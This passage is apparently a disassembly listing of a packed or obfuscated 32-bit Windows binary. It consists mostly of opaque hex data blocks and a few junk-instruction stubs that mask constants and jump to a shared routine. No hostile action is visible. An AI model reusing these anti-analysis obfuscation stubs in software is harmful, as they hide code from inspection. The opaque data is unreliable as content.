80DB0CABh dd 343FF63Ah, 0A52E1587h, 72h, 4BC677F0h, 0EB6EEB71h, 397943D1h dd 908315D8h, 36B5D24Bh, 44DEC132h, 0B8421691h, 7BDABD36h dd 86C9AB94h, 0E82B4F05h, 586B9BBh, 15F83B4Fh, 5874A28h dd 0AC69AA4Fh, 8989512Ch, 954187D3h, 982A3B83h, 3C78FB3Fh dd 3AE12E15h, 34000000h, 714BC677h, 14C36DEBh, 0B408A095h dd 8A4BAAD6h, 0EB02B59Dh, 0D4577764h, 5E58DEFh, 0FB2CEF4Fh dd 0C37703D4h, 6EF37444h, 0B84F04E6h, 4C37FE22h, 0BD2E14C9h dd 1, 47C277D8h, 58DF9A80h, 5206D300h, 308803C8h, 7F9E8268h dd 6D587FFAh, 375332B0h, 85BE0A85h, 8C9675C8h, 0C67D4FC8h dd 11DB240Dh, 0E13B54E9h, 58B0B82Eh dd 16A297C1h, 0C1C447F4h, 411B9259h, 0E9C39A9Eh, 41A93854h dd 8B2DA49Bh, 4F0BC4FFh, 0B235A243h, 0E040F713h, 2FBDEE69h dd 8DDF5E1Dh, 8766AAF0h, 0C43659D0h, 33F96B7Fh, 11EE8h dd 6FD82F00h, 0E624067Fh, 6AE04F04h, 0F802F5F1h, 71E2F671h dd 7B64593Ch, 1B54E903h, 0FD7A80D8h, 8CF5B7Ah, 0AA213B91h dd 0BE0C9933h, 45F22872h, 117DF6C2h, 1E1E97Fh, 89957EAEh dd 0F6444BC2h, 33F9C08Dh, 46FEh, 62D81900h, 0AAD825E8h dd 8A4F04E6h, 6ECC7349h, 0ED4F04E6h, 0B932A4FEh, 7B673023h dd 0B817937h, 88276E44h, 4B930CB9h, 0B4C63F8Eh, 4B4F0569h dd 4C1C9B5Fh, 48CF8B97h, 6D30E38Fh, 4A078635h, 91B43Bh dd 0D8E30000h, 0D52AED6Fh, 54E8F6F8h, 13298374h, 78A225A4h dd 0F7BE61F3h, 0D1727600h, 6BE1399Ch, 9742D8F0h, 568BB810h dd 49AC8EF7h, 0C70854E9h, 96994E0Ah, 0C454E94Ah, 1CDB3A66h dd 4A34360Fh, 66B054E9h, 0EF81FB3Fh, 0C2376818h, 33A6FCC3h dd 622F24B4h, 0F95CDE97h, 0CE49001Ah, 0A78C49FAh, 5AD361A9h dd 0AAB008CBh, 4E1EAA2Dh, 881C331Fh, 0BB7AF8C5h, 39FA4F13h dd 0EBFF6CDDh, 267CA42Eh, 0ECFC7FFCh, 66DF9A77h, 42DC21E4h dd 3254FE00h, 0D809DEC1h, 9611C46Fh, 79DC11C2h, 9933AA21h dd 211EE1AAh, 54EF2027h, 0DFCB8A4Dh, 0A537E01Fh, 0F659D087h dd 1F4C2E17h, 67A854EFh, 480F1BAAh, 9344FBD1h, 93800EABh dd 4809A326h, 0FA9AF577h, 7A84777Dh, 9A6E7AFDh, 0E638F030h dd 0C675949Ch, 8E09CDD5h, 0FA9AD351h, 187517Dh, 0B1334361h dd 6B6A5F90h, 0DD5A1E04h, 26A11670h, 4DC68892h, 0DDC5AF7Fh dd 993CBF3Ch, 7953CA81h, 3B8h, 5106EF00h, 7F4DC477h, 0DDEF6EEDh dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh dd 0AA3EB930h, 0D5FD890h, 0E68956B3h, 4C681h, 0EE830000h dd 24348704h, 2434895Ch, 28EB68h, 242C8900h, 8904EC83h dd 0F1682404h, 8B05EA39h, 0C481242Ch, 4, 8904EC83h, 4832424h dd 83580424h, 2C8904ECh, 8408F24h, 5024048Bh, 405E089h dd 83000000h, 48704C0h, 2C8B5C24h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 3EF8E95Ch, 1F39FFFAh, 0B88991E9h dd 5EA3E60h, 0E0FFC503h, 4BBD15FDh, 2580C7D7h, 64FAFAA4h dd 44515B0h, 2973337Ah, 6B984423h, 16B733F1h, 7812B4D8h dd 3FD08D8Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 89FDEFC3h, 0E410958Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0F87DB603h, 2E9A4179h, 858BAA62h, 5E42505h, 25818589h dd 85C705E4h, 5E42C65h, 6308h, 0C7FA8B66h, 0E430FD85h dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 1D42BE68h, 95890DD0h, 5E4160Dh, 25F5B5FFh dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A12667C3h, 0B727D266h, 95FF8F7Dh, 5E42A61h dd 3A9B529h, 6A05E4h, 10C195FFh, 0C08B05E4h, 0C86528EBh dd 8EFE27Ch, 4DD18ABCh, 36E0CEE7h, 0BE655F3Dh, 0B54AD9CCh dd 0A2C24DBAh, 0ADFC485Eh, 2E737809h, 2FCFF399h, 7E8C349h dd 30000000h, 870FE1E6h, 8E0F0107h, 0 dd 0BB666058h, 13E9C450h, 82000000h, 4C75C79Eh, 4663320Ch dd 0E42EC420h, 53170830h, 8161A233h, 594DC0h, 0F9A7BB00h dd 2F68265Bh, 59000016h, 8E9h, 9C2E2C00h, 765CA1FCh, 8B308B79h dd 0E4004995h, 0D3C68105h, 8B4A260Ch, 0E41B5D95h, 0BDC68105h dd 6642D16Fh, 81D307BFh, 37FCACF6h, 1EA8010h, 0D98B3089h dd 6603E883h, 7F4FF281h, 0FEA6BB48h, 0E98157B1h, 1, 0FFBB850Fh dd 958BFFFFh, 5E424D9h, 0FE8h, 99ACE300h, 42521991h, 1854CEF3h dd 9A6C27F1h, 8B0Fh, 0E8580000h, 0Dh, 0E3F6688Ch, 248160D8h dd 22B2AFFBh, 81BD315Fh, 5E05E427h, 67E3C081h, 8B660000h dd 19B768D7h, 800F0000h, 0Bh, 5860Fh, 81660000h, 59A94EF2h dd 1765B589h, 30FF05E4h, 391B58Bh, 895F05E4h, 0E42D8595h dd 53C78105h, 0E92B4E5Ch, 0Eh, 94420D9Dh, 2222757h, 0D46F953Ch dd 0C7815185h, 1AA12E7Ch, 0F2DFC781h, 59B25866h, 12E857h dd 53F30000h, 0B5EE514Fh, 686FB986h, 8DFC2843h, 0CF63F17Ch dd 27818D89h, 8F5A05E4h, 71B58900h, 8105E427h, 0D71247E8h dd 65B58973h, 8105E426h, 0D71243C0h, 15950B73h, 8105E41Eh dd 1E9h, 1B850F00h, 0BE000000h, 2A20DA37h, 2BE9h, 638B700h dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 9D8BC0F2h, 5E403F5h dd 0FFFF59E9h, 0C25946FFh, 3DD62F36h, 69A28FBFh, 0FE69946Ch dd 0FE8h, 0F05D1200h, 9713C2E4h, 0B79DDBC5h, 5F7CD353h dd 7359D89h, 295E05E4h, 0E4195D95h, 89C68105h, 0F00006Ah dd 488h, 22B96600h, 6748B8C1h, 0F0813206h, 32067D3Dh, 0F6DBD8Bh dd 1E8B05E4h, 27A5BD89h, 0C38105E4h, 2F50612Ch, 0D29958Bh dd 0C38105E4h, 1DB92C11h, 99952957h, 5A05E421h, 68A4F381h dd 13E9502Fh, 99000000h, 0F6A69413h, 37F4ED61h, 6F3260D3h dd 81CE76EBh, 1E89E48Ah, 0EE9h, 72EE8400h, 0EC72C644h dd 8765EE01h, 833591FDh, 8D0F04EEh, 17h, 12E9h, 72613500h dd 1B6FA28Dh, 0EB83C1A1h, 77B123BAh, 48EFA66Fh, 0FF84850Fh dd 26EBFFFFh, 33B61B90h, 558EAFECh, 6C64746Eh, 6C642E6Ch dd 2188006Ch, 5D340746h, 460AA3D2h, 61FBh, 0 dd 0D8E90000h, 68000006h, 5EA440Eh, 0FA3B29E9h, 44E768FFh dd 1FE905EAh, 68FFFA3Bh, 5EA459Fh, 0FA3B15E9h, 466B68FFh dd 0BE905EAh, 68FFFA3Bh, 5EA4725h, 0FA3B01E9h, 47F068FFh dd 0F7E905EAh, 0B9FFFA3Ah, 218BF36h, 54CED156h, 0A76362E5h dd 0F1BBA35h, 5BCCD34Eh, 11884D5Ch, 0A720948Eh, 0FB7CFA20h dd 0E894ED4h, 0AC91F08Fh, 54EF27CEh, 0CC03582Eh, 0D1EB64D6h dd 0E5AD8FF0h, 0CC0F4F04h, 448F3E9Bh, 0DE000000h, 8649C077h dd 0E65CDE27h, 17D84F04h, 4F0C1EBAh, 0D02109CCh, 3A0A766Dh dd 64D9ECA9h, 4F05CD02h, 7C415402h, 4F05CCFEh, 0DF92A47Eh dd 45C2EAD4h, 0D9B8DF10h, 627057Ah, 7B854F05h, 0F56E7AFDh dd 0D886D780h, 0F02AED6Fh, 7DF6C27Dh, 9830AB21h, 261FEEABh dd 54E8EF39h, 5ADD9C86h, 7E78D50Eh, 36382FBDh, 9154E8EEh dd 7793C9C9h, 0C2714BC6h, 5BB2E988h, 10FD2A5Eh, 0F8FD65DEh dd 2599633h, 48C10000h, 51FAB361h, 984B6198h, 0E29FE0A7h dd 8954E90Fh, 0F6A3DA91h, 5E440BCCh, 0C87499Fh, 65287BCh dd 0D5B400CDh, 3D8F0ECDh, 0F3644D06h, 5C1917B7h, 41BE61E3h dd 16B37BD8h, 74617BBCh, 598120BBh, 0B7E366D3h, 0D7E1305h dd 0A023754Ah, 8E41191Ah, 0CC64D3CFh, 1E3C8C0Fh, 9F65674h dd 75A61Fh, 1796455Dh, 0A2C58E45h, 7378F378h, 6059B283h dd 0A2DDA434h, 79000004h, 0C2587FF6h, 140E9116h, 67A322A5h dd 0CF5B7AF5h, 1B0C930Eh, 0D1480D9Ch, 67E054CEh, 0BB3CBA60h dd 0CE490E14h, 6C5130CFh, 54EF2A0Eh, 7743186Eh, 569650C0h dd 0A0AC23C8h, 95745D6Fh, 5CFCAA8h, 2CE92A4Fh, 0B312904Dh dd 5266E157h, 6C5134E1h, 54E9E36Fh, 0B91D75D4h, 726D2FCBh dd 0D5BBB9E6h, 0F63954E9h, 0FF5E911Dh, 0DAB732A3h, 0DB8960CBh dd 2F0D7262h, 8D54E9D6h, 49B6194Ah, 5ACE0030h, 8C1278DFh dd 12F3EF8h, 2F97BA8h, 0B87B4F05h, 0B460D3DFh, 0A2BC804Bh dd 20A21BE7h, 9317007Dh, 0BC7FED86h, 6FC4B12Ch, 5F3E73EEh dd 65FF3066h, 0D7288FF2h, 0E7A3A755h, 2C039687h, 0BAC841h dd 0B77802CFh, 8A0DCAD0h, 21581F0Bh, 84D75C98h, 78399389h dd 3C9h, 21A4DF90h, 0D7F671F9h, 840B8E4Bh, 3CA3DC9Eh, 0D5F877E6h dd 0B1247540h, 0CB8B9736h, 1BD1494Ch, 0B625FDE0h, 0BAE99037h dd 0EF29E745h, 68274554h, 0E867D6CCh, 0C8B4AD0h, 0F95287BCh dd 0F85FDE9Dh, 27B532A2h, 7C69632Ch, 745E0183h, 0B22654B0h dd 62ACA735h, 27F01157h, 5CBE7F40h, 7DBE54E9h, 34B66F5Ah dd 24A8F251h, 692211ABh, 0D38C9508h, 6F2EE15Ah, 56D42988h dd 0D64F130Ch, 0DB0C8F4Ch, 24A7147Eh, 7BF279A1h, 50CF8E94h dd 4A0ECB78h, 235E1F0Bh, 48CA8376h, 5CDF9D85h, 0AB7AD70Ch dd 0E01FDEC4h, 2F49CE37h, 0EA2D54F7h, 39AC31CDh, 0BF06D21Ch dd 311h, 0E9EC67E8h, 9F3EB931h, 4C53D683h, 0E4EB64D6h dd 9D00BF3Eh, 0F97C2D88h, 13C35F7Eh, 0A329F194h, 0FE7DA528h dd 0E2A1587Fh, 0EF2A9F9Dh, 306F1D54h, 0FCCDE6CCh, 9D6A5E13h dd 0E661D630h, 0AC2EE7D2h, 0E58394E9h, 30E354E9h, 1912EADh dd 48790000h, 6AF1AEECh, 1768AD7Dh, 4F05D915h, 76AA497h dd 480F4009h, 0E9253A77h, 1FF93A54h, 261C8ED0h, 6EEC594Ah dd 0D4C556AFh, 6EA145C1h, 0AD2F7B5Ah, 25925932h, 0D46AC835h dd 519A4441h, 817F970Ch, 0DC11C2FCh, 35520479h, 41B24A29h dd 64C63F9Eh, 0C03FE075h, 0A7E3420Fh, 0B716B930h, 758DEFD0h dd 5EF3FE0h, 4F84D457h, 0E655B11Ah, 0DB0C8B4Eh, 48204292h dd 4223A931h, 245h, 0BD205B1Ch, 5372F565h, 8702B7h, 0B8DF581Ah dd 5174F362h, 2DA0F9C4h, 47F713B2h, 9F5DC5C8h, 2AA1791Ch dd 36952CB3h, 0EF2C6BC9h, 0E4B3C954h, 12106DCCh, 924F04E6h dd 7547C088h, 0C6C08DFEh, 97C29611h, 84F95CDEh, 54E8F907h dd 3611B467h, 0FE7C2963h, 2389261Fh, 2AED5ACDh, 8021D62h dd 0C4B1DDE7h, 0CA208746h, 0C063C7FDh, 0D5F902C3h, 63BAE84Fh dd 0F1C652Eh, 0B4E3CA76h, 358AE8D5h, 0BBEADA0Ah, 0A34E84Ah dd 5E9344DAh, 34A486FFh, 0CF00DA0Ah, 0DE9E7802h, 615C6CA1h dd 6E5736B4h, 0DFF1A238h, 0EE349B5Ch, 33EFEE69h, 76A40584h dd 8993418Dh, 18B62C3h, 0E1520000h, 3FBB6766h, 4C0D15B8h dd 9E50CACDh, 35B86265h, 0B3021BBAh, 0D5F877E6h, 8F0E894Dh dd 23A22593h, 0D6F970E7h, 2507782Fh, 8754EF2Dh, 0C077AAE1h dd 89467349h, 0B16E440Bh, 85A317E5h, 0AF907720h, 54E9638Eh dd 0E446BFEEh, 4054E962h, 936C2D96h, 4BBC0C3Fh, 0D8E67716h dd 0D52AED6Fh, 54EF28CCh, 0E894EA8h, 0AB207ADDh, 80356D30h dd 0D780B309h, 43ED6AB0h, 8B211295h, 0ACA61DEh, 0D3043F8Dh dd 6A94330Ch, 1FD05AD9h, 6BF562B8h, 0BF3D94A7h, 60271802h dd 0AD3FB83Ah, 50CADDB6h, 0B82499Bh, 7B5182B1h, 0F90705Ah dd 0B91C3AD6h, 5F6DEC6Dh, 97402BE4h, 0A04DB215h, 0FC54E998h dd 0FD9EB23Bh, 37A51C3Eh, 0C04Eh, 5DD48700h, 0EF68E03Ah dd 8732E8h, 58D3859Dh, 0F168ED35h, 2B7E39EEh, 72A82FAAh dd 0D84245C2h, 2CF69912h, 12A92CAFh, 2CF072B3h, 3E4C54EFh dd 0ED6FD861h, 28D4D52Ah, 0D5054EFh, 0EF283230h, 0C41B254h dd 8729AEBCh, 0CF0454D3h, 0A82FFB9Ah, 9FA49B31h, 97B90037h dd 636AEC36h, 332002h, 665B9CB1h, 0AA34E152h, 59D08766h dd 0EC6FEC36h, 2DADF5DCh, 0D9251EAAh, 12C19B12h, 609B5DB9h dd 0E62AF048h, 7BF466BCh, 0FD19F261h, 0B918FF7Eh, 6474EF61h dd 32B4B6EFh, 0D630B100h, 60D3E966h, 0C743622Fh, 62C39910h dd 15h, 106DCCB5h, 4F04E612h, 81FEA192h, 4F04E5A3h, 6805CE01h dd 4DC477E3h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 8952B30Dh dd 4C281E2h, 83000000h, 0FF5204EAh, 5A042474h, 5C24048Fh dd 65C568h, 24048900h, 3FCF68h, 243C8900h, 6855BA52h, 0BF57781Dh dd 14D96EDFh, 5BCCF81h, 0EF817C3Ah, 2DAF6555h, 0E00FEF81h dd 0F889D154h, 5AD0315Fh, 4EC81h, 24890000h, 24048324h dd 0CD685F04h, 89000033h, 4812404h, 88327E24h, 8478F39h dd 7E086F81h, 0FF398832h, 835F2434h, 48B04C4h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FA345DE9h, 0B8F896FFh dd 5EA48D5h, 0E0FFC503h, 6F6D038Ah, 14F89A0Dh, 4E21B9F9h dd 0D4AF97Dh, 2FB0C151h, 61E7A02Ch, 7D6889B4h, 0E9A489Dh dd 2E381AEAh, 32E1E453h, 2C1EC694h, 1AE01366h, 1174C46Fh dd 70DBF9DFh, 0CADC3B5h, 2BD2053Dh, 79FECC1Ch, 4961A7AAh dd 7955D225h, 7FD5BA32h, 430E6DE2h, 32DB8A15h, 3036FCA4h dd 7115DB7Eh, 25C87586h, 0CE8h, 8C2EDC00h, 0D9E8BC06h dd 0F8EB093Eh, 6DBB5AA7h, 816AD96Fh, 61F0C2h, 0BEC9B500h dd 1856h, 8166028Bh, 810433E7h, 0DE9A4DF0h, 0F781666Fh dd 0F081A97Eh, 7AA75252h, 8112EF80h, 3601EEC0h, 20FABF67h dd 0F9505FF9h, 0D781028Fh, 15D93739h, 0DE5CEA81h, 6E90219h dd 0C000000h, 38C293F1h, 58C281EBh, 520219DEh, 4E595BB1h dd 1D850Fh, 0E1B90000h, 0E9714272h, 21h, 89431738h, 66644E70h dd 3A0F7EBFh, 8A597E81h, 0E9B616ACh, 0FFFFFF8Ch, 893FC5C3h dd 2D6B5A14h, 0F804EB1Ch, 0E9772A27h, 586h, 0C5C843F4h dd 7B1A9D5Dh dd 28AF2AAFh, 0C0C740F2h, 791C9B5Ah, 0D59811ACh, 6FEF3B5Ah dd 8735EDF0h, 0D2998104h, 0DE8D345Bh, 0EF3083E1h, 0CC9BE154h dd 8649C077h, 0C673DD9Ch, 17450E43h, 0C6C940F5h, 0BE39BBE7h dd 325C392Ah, 0FC430285h, 27B532A6h, 0E675F72Ch, 2DF74F04h dd 1CF92AADh, 0AE29AEBCh, 0CF48001Ah, 151D67FDh, 7FDD47F4h dd 4F1DC15Eh, 9C8649BAh, 0D3F25FD8h, 87068137h, 0FB5ADD9Bh dd 0FED54C9Fh, 0B76065C7h, 0D8570725h, 804C1D75h, 7C5BC692h dd 7D591FFEh, 5700A7A7h, 0F970E705h, 1A9559E3h, 0C289954Eh dd 0C2A8714Bh, 0E44E16DEh, 359F5DBCh, 0CCD30487h, 0AB05B5EDh dd 6577A82Fh, 72F925EEh, 0F97EE1FBh, 334F05DBh, 0E3A069A9h dd 142E15BEh, 76h, 49C07743h, 1C15AC86h, 0D2AA99B7h, 8CEC5379h dd 0A64F0558h, 6ED51C04h, 9F2E153Bh, 8, 0E760D2C8h, 24B51ED5h dd 7444C377h, 0D7E562D6h, 45088335h, 11D9C5Dh, 4F84D44Fh dd 8734D682h, 2296B404h, 3ECC88BCh, 0D70842CFh, 525E2485h dd 0F23E889Ah, 58B2A713h, 0B6E4FD8h, 1D1F4421h, 0FF4F05DDh dd 17D8C27Dh, 0C6DCA322h, 0CC79512h, 19904743h, 0C677E176h dd 4A50714Bh, 31B6228Ch, 9A77A89Bh, 987FF870h, 0E666C439h dd 15C64F04h, 258510B8h, 0DE591CFDh, 75F463BFh, 8C14C567h dd 43D2BC6Ch, 11AB9C0Bh, 6DE14F0Bh, 0AA2B81F2h, 4FDD755h dd 98E2554Fh, 0FC0E5AD5h, 79EAFE79h, 4981816Bh, 0A168A872h dd 2E14E6D2h, 813Bh, 0FA7EA400h, 1BF46F7Dh, 4BC677B2h dd 0CA6AE84h, 37EC4EB7h, 87484F05h, 6117E24Bh, 530624B4h dd 0EF6E84D4h, 0E8353708h, 136C4F04h, 4F04E811h, 0F526A093h dd 9372BE18h, 0BAE0A722h, 0CDD0BD3Ah, 0A669E055h, 2C149A4Ch dd 6B5625Fh, 0CD3E3587h, 37853CB1h, 0E379533Ch, 17E2F671h dd 0AD864FB3h, 0DE2E1502h, 57h, 4BC67779h, 1AA0AE84h, 169C2C2h dd 70E60454h, 0BB01E5F7h, 0A8279677h, 0C377B025h, 76B9F05Dh dd 0A3945A5Bh, 0E5524809h, 819D5662h, 0CD0652CDh, 263E2300h dd 12C64F05h, 0B425C795h, 7CC6A735h, 5530E534h, 0E19662B6h dd 226E7CACh, 14CA98EBh, 1C12Eh, 77140000h, 0D77547C2h dd 280A7B60h, 844F04E6h, 63BF1E53h, 0F16276F1h, 0ED4B424h dd 0F376E302h, 0AE2C99ECh, 0A71208EFh, 0C3728820h, 8AFF7444h dd 1217E0C1h, 0BC7F54E9h, 0D2BFF1D9h, 399D9E21h, 6A0B6956h dd 0A66954E9h, 9E5DEFEDh, 35A2781Fh, 412126B2h, 8154E96Ah dd 0A116F73Bh, 86D24D0Fh, 1675184Dh, 69EC4EB7h, 874854E9h dd 52CBF04Bh, 0BD168BD9h, 49639A51h, 0C3252208h, 2A87B1BBh dd 0C9E31CD0h, 0E655B11Ah, 91904F7Eh, 6EA39A04h, 8E09C05Ah dd 18AA203Ah, 5182D651h, 38054C1Ch, 54E8ED3Ah, 846E79BAh dd 0E5C5549Ch, 1C9F5CBDh, 0CFBA8979h, 0D2333F8h, 6A000001h dd 2AED6FD8h, 0E903CCD5h, 0A067A854h, 271CC14Ah, 0FC8A88Bh dd 8138BF4Dh, 0D457041Eh, 76F16684h, 0F735762h, 2FEE69EEh dd 42B800C3h, 865333F8h, 2D3013E7h, 555933F9h, 0FC000000h dd 0CC162D8h, 80FDA095h, 4F04E5F2h, 0E43EE152h, 69E3F972h dd 799D0E2Bh, 0C885F6C0h, 82DD5F80h, 0BB3F4F05h, 0DA9EAC3Ch dd 0D4BE0F5Dh, 0F15964ACh, 810BFFB1h, 24067FDEh, 804F0583h dd 0DBC06556h, 0BFF08373h, 803273D2h, 0DC4F0500h, 7DF5741Bh dd 20000000h, 16C46FD8h, 0F20CC795h, 0C88FC047h, 0E8F716F7h dd 24958D54h, 7A4EC98Ch, 0FC494C9h, 0E5F73842h, 76199047h dd 1CAC2FACh, 0E8F7442Bh, 6C947654h, 0B156CE8Dh, 942E1715h dd 4235588Dh, 0BAB88595h, 3A54E9B5h, 48B1F6E0h, 46BBD53Ch dd 654DB215h, 335AD37Ch, 0E552E8C0h, 2CF65662h, 7FFDAAE4h dd 68E13998h, 0D3DF24F1h, 0A154FD36h, 31A183FCh, 0D00354E9h dd 378502B6h, 13C4CB3Ch, 0E9F46FD8h, 24AA5B32h, 2C11F429h dd 54EF6EC4h, 225D1F0Bh, 0F6F05D96h, 936B511Ch, 0C63B7BC0h dd 0FA7AA007h, 8FF46F7Dh, 54EF8AADh, 0F671E50Fh, 7A80C885h dd 0CF5B7AFDh, 43B9108h, 0C7B0029Ch, 2BCA3690h, 0D95204ACh dd 0B239E1E4h, 6C3CA212h, 17B5F2EDh, 3C8CC132h, 9933AC2Eh dd 652D583h, 0A8F275E4h, 0FF15A720h, 2BB57DA5h, 2BA04141h dd 46F52DB0h, 0BCF16EEEh, 920DC1D9h, 0C4A69FC6h, 20C62F24h dd 0FBD1BAEFh, 33Ah, 51066D00h, 7F4DC477h, 0DDEF6EEDh dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh dd 0AA3EB930h, 0D5FD890h, 0E18951B3h, 4C181h, 0E9810000h dd 4, 5C240C87h db 89h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx push 5EA4A83h mov eax, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 push eax sub dword ptr [esp], 53A42E02h pop dword ptr [ebx+8] add dword ptr [ebx+8], 53A42E02h mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- dd 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 64B8FE42h, 305EA4Fh dd 0D4E0FFC5h, 632B6B94h, 4001EB56h, 3765E6C2h, 0CF34ECCEh dd 4313F2B1h, 813E2205h, 0A57994A3h, 490512B9h, 0D9256C41h dd 0AD7C37ADh, 40F5689h, 90353824h, 0CF0EC755h, 2308826h dd 0E7539444h, 0BD1A9B18h, 98753B33h, 1260D6C8h, 2321BE13h dd 49483D0Ch, 3F4F608Bh, 0ED603C4Bh, 0B247F87Bh, 68112852h dd 0AC137667h, 0EC7CBBDDh, 0BB193951h, 0EB00A8C6h, 8, 9E51AC00h dd 478E958h, 86680000h, 0E905EA51h, 0FFFA2D2Ah, 0EA51E668h dd 2D20E905h, 4768FFFAh, 0E905EA53h, 0FFFA2D16h, 0F99C17D8h dd 0AF2EA921h, 5C43C673h, 0F49B14C6h, 0AD30AF2Eh, 0E96C3D78h dd 3B36F6Eh, 53190184h, 0EE6DB5D8h, 0F2D1686Fh, 0EF35AF8Dh dd 207F0D54h, 714BC677h, 9297A50h, 1E31BCBFh, 25EE235Ch dd 0D4FB72F9h, 0D7B634E1h, 0E93669EEh, 2B77D654h, 0A49F2DACh dd 0E8F4FD7Fh, 0D3BC7F54h, 11884DD7h, 0F8C588BBh, 54E8F57Ah dd 0F4C439FAh, 33310EEDh, 0B154E8F5h, 0CAAC957Eh, 554E8F4h dd 0CFB47DA5h, 3833F8D7h, 28Ch, 0B45E485Fh, 0A99679FBh dd 54E91010h, 9AE5B364h, 524E760Dh, 0A46BE9A6h, 9D1CDDC5h dd 7ABB14CFh, 4D6A5AD9h, 5B16A295h, 40BD60E2h, 524E8372h dd 0C74D2109h, 151A293h, 26E92A54h, 0D9FC7FFCh, 0AA138A41h dd 29A27659h, 0CA3BFA5Eh, 0F1000002h, 5AC0C77Eh, 0AC76199Eh dd 0FF2BAA2Dh, 47C3C27Dh, 0A3741B96h, 59D08514h, 0EF68EC36h dd 38432E8h, 56D1869Ch, 0E4D98837h, 54EF3786h, 0D8CB80E6h dd 0D52AED6Fh, 54EF36D7h, 0E723E255h, 0F5D4FB76h, 0D18729ADh dd 6EA86556h, 0E75870EFh, 54EF3680h, 7F7CFF7Ch, 280E0E8Eh dd 6ADA9B31h, 91000002h, 0FA20A7DEh, 4CD6F97Eh, 9F8B0A8Dh dd 0E723A2DDh, 43D4FB76h, 39B02574h, 4FC88C96h, 0E364D248h dd 36B126FCh, 44B9E897h, 54EF36E6h, 0CC6B2046h, 0E612106Dh dd 0A1924F04h, 0D34805F4h, 5FFA9B48h, 0C087F890h, 0EF81FDFFh dd 0D9BC7F54h, 3B940FC1h, 0C8AE91h, 0A70354EFh, 0E7D1B27Bh dd 73D233FEh, 0EEF93032h, 0E4D98C54h, 54EEF986h, 17C035E6h dd 16758h, 0C077FF00h, 5B71EA60h, 0BC25B7E8h, 0E682E0DDh dd 31E24F04h, 3ABD3A64h, 6EEE349Bh, 0A568DBF1h, 4E5DA58h dd 3C995A4Fh, 4302807Dh, 2DDFB777h, 71DA2D9Dh, 0EC7051AEh dd 0F32F54E9h, 6E08C544h, 46281FADh, 8154E9CCh, 5330F939h dd 8433F9B3h, 20h, 0ED6FD8D3h, 860D52Ah, 1BDC54E9h, 7989E41h dd 573354E9h, 0EBA1E22Bh, 0B2CA33F8h, 0D000000h, 7349C077h dd 2AED64E9h, 0EAFE79F0h, 2E3C9C79h, 809A2EA9h, 958D50CBh dd 0DD16A225h, 6C906D70h, 134F04EAh, 0F0C847F7h, 20E31743h dd 29E0AE79h, 32B5226Ch, 31BD0753h, 8522460Fh, 15C2B5C8h dd 2CBC3BBEh, 8ADE591Eh, 6C336459h, 0EBC86513h, 490CCF54h dd 383A0BEAh, 0E454EB80h, 0DC5A8204h, 884B77C6h, 9712C3CFh dd 2CAB2AF0h, 3CE6708Fh, 7CC5971Ch, 109h, 8104BF30h, 3756D199h dd 0E4EB6EEBh, 9C03BC3Eh, 3558D786h, 11C4D5E0h, 0AB2BF796h dd 0FB71A92Ch, 16C55D40h, 1A49F097h, 0EF394725h, 88C7A554h dd 444BC677h, 0FF9E19DEh, 49C0776Eh, 5FD89C86h, 5F7DD60Dh dd 88F0ECDh, 44FF71A9h, 0F577208Bh, 327B2D12h, 4F9954E9h dd 0C81E63CCh, 6F2E6315h, 80078233h, 0E9B3B9BFh, 1D9C5B54h dd 0B22DA07Ah, 935F26h, 22780000h, 776431B6h, 2AED6FD8h dd 0EF36DBD5h, 0C2965954h, 10D3B783h, 19EDDE69h, 62E552BCh dd 5EF267A3h, 652E639Ch, 0B113D842h, 97558138h, 0D1C5C96Ah dd 44FBD102h, 0B262F270h, 37D6DAA4h, 6C460980h, 200BEDEh dd 0D907DF5h, 6027A615h, 0AD3FB83Ah, 71EA6CB6h, 0AD2FE85Bh dd 16A2DD9Fh, 0FEA4ECB6h, 0E547B81Fh, 47A7A34Ah, 4ACDAF94h dd 0EC2FA7A3h, 0F970E723h, 4B33C16h, 0DE9CA129h, 0C28F9CF4h dd 3CCC973h, 0B631A67Ch, 34322h, 68A0000h, 4DC47751h, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh db 0Dh, 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ecx push eax mov eax, 662E2259h mov ecx, 0CC853354h add ecx, eax pop eax mov ebp, 389DA65Ch sub ebp, ecx pop ecx push esp mov ecx, [esp] add esp, 4 push eax mov eax, 8 add eax, ecx mov [eax], ebp mov eax, [esp] add esp, 4 mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_54658E ; --------------------------------------------------------------------------- dd 75B8B26Eh, 305EA54h, 1AE0FFC5h, 0F114C530h, 316B05B6h dd 